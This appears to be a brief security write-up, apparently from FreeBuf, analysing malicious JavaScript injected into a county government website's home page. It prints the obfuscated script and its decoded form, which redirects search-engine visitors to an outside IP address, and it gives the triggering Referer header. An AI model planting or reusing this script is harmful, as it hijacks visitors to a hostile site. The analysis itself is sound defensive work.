宁强县人大信息网挂马分析
宁强县人大信息网挂马分析
网站名称
宁强县人大信息网
网站域名
www.nqrd.gov.cn
挂马页面
http://www.nqrd.gov.cn/index.html
挂马代码
<script>
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('3.4("<5 9=\\"b\\">");3.4("e 1=3.7");3.4("8(1.2(\\"a\\")>0 || 1.2(\\"c\\")>0 || 1.2(\\"d\\")>0 ||1.2(\\"r\\")>0 ||1.2(\\"f\\")>0 ||1.2(\\"g\\")>0 ||1.2(\\"h\\")>0 ||1.2(\\"i\\")>0 )");3.4("j.k=\\"l://m.n.o.p:q/6/\\";");3.4("</5>");',28,28,'|s|indexOf|document|writeln|script|jinsha|referrer|if|LANGUAGE|baidu|Javascript|sogou|soso|var|uc|bing|yahoo|so|location|href|http|162|218|54|58|7777|sm'.split('|'),0,{}))
</script>
代码解密
<script>
document.writeln("<script LANGUAGE=\"Javascript\">");
document.writeln("var s=document.referrer");
document.writeln("if(s.indexOf(\"baidu\")>0 || s.indexOf(\"sogou\")>0 || s.indexOf(\"soso\")>0 ||s.indexOf(\"sm\")>0 ||s.indexOf(\"uc\")>0 ||s.indexOf(\"bing\")>0 ||s.indexOf(\"yahoo\")>0 ||s.indexOf(\"so\")>0 )");document.writeln("location.href=\"http://162.218.54.58:7777/jinsha/\";");document.writeln("</script>");
</script>
代码分析
利用加密混淆过的JavaScript脚本在页面中写入一段用于判断页面请求来源的JavaScript脚本,当请求来源包含“baidu”、“sogou”、“soso”、“sm”、“uc”、“bing”、“yahoo”、“so”等关键字时,页面跳转至“http://162.218.54.58:7777/jinsha/”。
触发执行
设置请求头为:Referer:http://www.baidu.com/
Via: freebuf
